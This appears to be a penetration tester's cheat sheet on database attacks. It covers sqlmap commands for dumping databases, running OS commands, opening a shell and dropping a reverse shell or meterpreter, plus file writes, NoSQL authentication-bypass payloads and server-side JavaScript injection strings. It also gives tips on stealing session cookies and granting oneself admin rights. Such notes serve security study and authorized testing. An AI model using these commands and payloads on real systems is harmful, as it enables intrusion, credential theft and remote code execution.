Databases

Tips

• If a database has a table of session one can try to steal cookies or other credentials from the table to authenticate as another user.

• If one is in a database with write access and there are roles assigned to users, give the current user admin rights.

SQL injection cheat sheets

• https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

• https://dev.mysql.com/doc/refman/8.0/en/information-schema-schemata-table.html

• https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/

• https://portswigger.net/web-security/sql-injection/cheat-sheet

Universal structures

information_schema              Metadata and all the databases and tables
information_schema.schemata     Databases
information_schema.tables       Tables
information_schema.columns      Columns

Tools (SQL)

sqlmap

GET

Discover vulnerabilities in databases as well as dump info

sqlmap -u <URL> --batch

POST

# With request file
# Add request into a log file (either from Burp or Chrome)
sqlmap -r <request_file> --batch

sqlmap -u <URL> --data "username=*&password=*"

Web sockets

sqlmap -u ws://<ip><port> --data <data>

Commands

To get data from any query use the --dump option

# Get all databases
sqlmap -u <URL> --dbs

# Set DBMS
sqlmap -u <URL> --dbms="dbms"

# Database
sqlmap -u <URL> -D <database>

# Tables
sqlmap -u <URL> --tables -D <database>

## Specify table
sqlmap -u <URL> -D <database> -T <table>

# Columns
sqlmap -u <URL> --columns -D <database> -T <table>

Shell

To get upload web interface look for file stager otherwise look for backdoor in the output.

# Exec command
sqlmap -u <URL>  --os-cmd <command>

# Simple Shell
sqlmap -u <URL> --os-shell

# Dropping a reverse-shell / meterpreter
sqlmap -u <URL> --os-pwn

File upload

sqlmap -u <url> --data <data> --file-write <local_file> --file-dest <destination>

References

• https://0xdf.gitlab.io/2018/06/23/htb-falafel.html

• https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap#shell

• https://www.binarytides.com/sqlmap-hacking-tutorial/

• https://www.hackingarticles.in/shell-uploading-in-web-server-using-sqlmap/

NoSQL

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection

Authentication Bypass

DATA
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto

JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}

SSJI

';return 'a'=='a' && ''=='
";return 'a'=='a' && ''=='
0;return true

NoSQLMap

Since the tool is using a menu based system, I'll just link the GitHub. Documentation and Release ​​